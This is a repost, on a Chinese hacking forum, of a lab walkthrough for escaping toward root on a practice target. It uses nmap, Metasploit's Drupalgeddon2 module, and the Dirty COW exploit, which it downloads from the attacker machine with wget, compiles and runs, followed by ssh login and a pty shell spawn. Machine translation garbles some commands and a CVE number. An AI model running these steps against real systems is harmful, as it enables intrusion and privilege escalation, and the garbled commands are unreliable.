跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

Docker逃逸之由内核漏洞引起的逃逸(CVE-2016-5195)

精选回复

发布于

**写在前面**

目前Docker逃逸的原因可以分为三类:

1.内核导致的脏牛实现逃逸----CVE-2019-5195

2、软件程序引发的Docker逃逸漏洞----CVE-2019-5736

3、docker配置不当引起的----特权(特权模式)逃逸、未经授权访问dock远程api导致的逃逸等。

# 由内核漏洞——Dirty COW(CVE-2016-5195)引起

**原理:**

处理写时复制(COW) 的Linux 内核子系统会产生竞争条件,使恶意用户能够获得高权限并访问只读内存映射。

竞争条件是指任务执行的异常顺序,这可能导致应用程序崩溃,或者给攻击者提供进一步执行其他代码的机会。通过利用该漏洞,攻击者可以提升目标系统的权限,甚至可能获得root权限。

**受影响的版本:**

该漏洞可以在所有版本的Linux系统(Linux内核=2.6.22)中实现提权。

#信息收集

目标无人机:192.168.200.49

卡莉:192.168.200.14

射击场环境页面:1703211425_6584f1a19282e715c3645.png!small?1703211426923

## 1.通过nmap扫描存活主机,确认目标IP

````

nmap -sP 192.168.200.0/24 -T4

````

通过目标机的MAC地址1703211440_6584f1b03091d0579cc30.png!small?1703211441958可以更准确的确认目标机的IP地址

## 2.扫描目标机开放的端口和服务

````

nmap -sV -p-192.168.200.49

``1703211447_6584f1b73cdc63ea921f6.png!small?1703211448839

确认开放的端口为:22、80、1898

开通192.168.200.49 1703211454_6584f1be83b31ab72c128.png!small?1703211455920

192.168.200.49:1898 1703211461_6584f1c57f1382fcf382c.png!small?1703211462979

检测来自该网页的信息

您可以找到CMS Drupal 7 1703211468_6584f1cc58caf697ea225.png!small?1703211473690

## 3.使用msf内置exp 1703211482_6584f1da7cfd74e1bdf6c.png!small?1703211483891

选择(exploit/unix/webapp/drupal\\_drupalgeddon2)来利用1703211490_6584f1e2e75aa72eff618.png!small

1703211512_6584f1f88c4c233544d60.png!small?1703211514118

只需输入命令并等待1703211521_6584f2015d4a9c8560127.png!small?1703211522658

当前为低权限用户

````

利用/运行

shell #用echo转换为shell

``1703211534_6584f20e6b447229f8b63.png!small?1703211535509

## 1703211545_6584f219b419a162553a2.png!small?1703211547299

此时查看所有文件,但无法访问根文件夹

````

ls -al #列出所有文件,包括隐藏文件

光盘根目录

``1703211557_6584f22508d2df9af3664.png!small?1703211558688

目标无人机内核版本1703211564_6584f22cc5fcf2e95b177.png!small?1703211565959

# 脏牛权利提升

## 1.使用searchsploit工具找到提权脚本1703211571_6584f233943bc4246d955.png!small?1703211573388

找到本地文件的具体位置,将脚本文件复制到/home/kali目录下,且不损坏原文件。

````

搜索漏洞脏

locate linux/local/40847.cpp #定位40847.cpp的位置

cp /usr/share/exploitdb/exploits/linux/local/40847.cpp /tmp #复制40847.cpp到/tmp目录

````

## 2.上传文件到目标机器并执行

1、启动/home/kali目录下的http服务。

然后目标主机通过wget将其下载到本地,然后编译.cpp文件得到可执行文件。直接执行即可获取root账户的密码。

````

python -m http.server 8899

``1703211580_6584f23c4a653eeda1fcd.png!small?1703211581409

3、在目标主机上下载40847.cpp文件,并编译成40847可执行文件

````

wget http://192.168.200.14:8899/40847.cpp

``1703211586_6584f2427891186484a09.png!small?1703211588153

````

g++ -Wall -学究式-O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil

ls -al #列出所有文件和目录,包括隐藏文件

Wall 通常使用此选项来允许GCC 提供的所有有用警告。

pedantic 允许发出ANSI/ISO C 标准中列出的所有警告

O2 编译器有4 个级别的优化选项。 -O0表示不优化,-O1是默认值,-O3具有最高优化级别。

std=c++11 根据C++2011标准编译

pthread 在Linux中使用多线程时,需要链接pthread库

o 40847.gcc生成的目标文件名为40847

``1703211611_6584f25b8b6ed831e90f3.png!small?1703211613404

4.执行并获取root账号和密码

````

./40847 #获取root密码为dirtyCowFun

``1703211619_6584f2634b6a87e5dd744.png!small?1703211620445

首先登录目标机或者通过ssh远程登录(22端口开放)

用户名root,密码dirtyCowFun 1703211628_6584f26caea3c4c88a9be.png!small?1703211629951

二、使用ssh远程登录

````

ssh [email protected]

肮脏的牛乐趣

``1703211636_6584f2744d1427f5b17ec.png!small?1703211637945

第三,这里不能直接切换到root用户。您需要打开一个终端。

````

python -c '导入pty; pty.spawn(\'/bin/bash\')'

````

现在是一个shell 会话。打开终端后,就像一个连接到sh的交互式shell。

例如,连接xshell时,会弹出一个框要求您输入密码。将用户添加到命令时,系统将提示您在下一步中输入密码来执行它。命令输出后,如果没有交互,对方就会卡住输入命令。

因此,这个漏洞需要具有交互性。没有交互性,它就行不通。命令输出后就相当于被执行了。但有些命令执行后,会有交互信息。需要询问ok或yes或no,所以需要做一个交互式命令来echo。交互成功正常打开,执行脚本文件1703211647_6584f27f3af9e628ab372.png!small?1703211648540

# 提权总结:

**流程**

1. 检测目标和端口

2. MSF搜索可以使用CMS工具来建立连接。转载自freebuf:[https://www.freebuf.com/articles/web/387386.html](https://www.freebuf.com/articles/web/387386.html) 作者:Koi

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。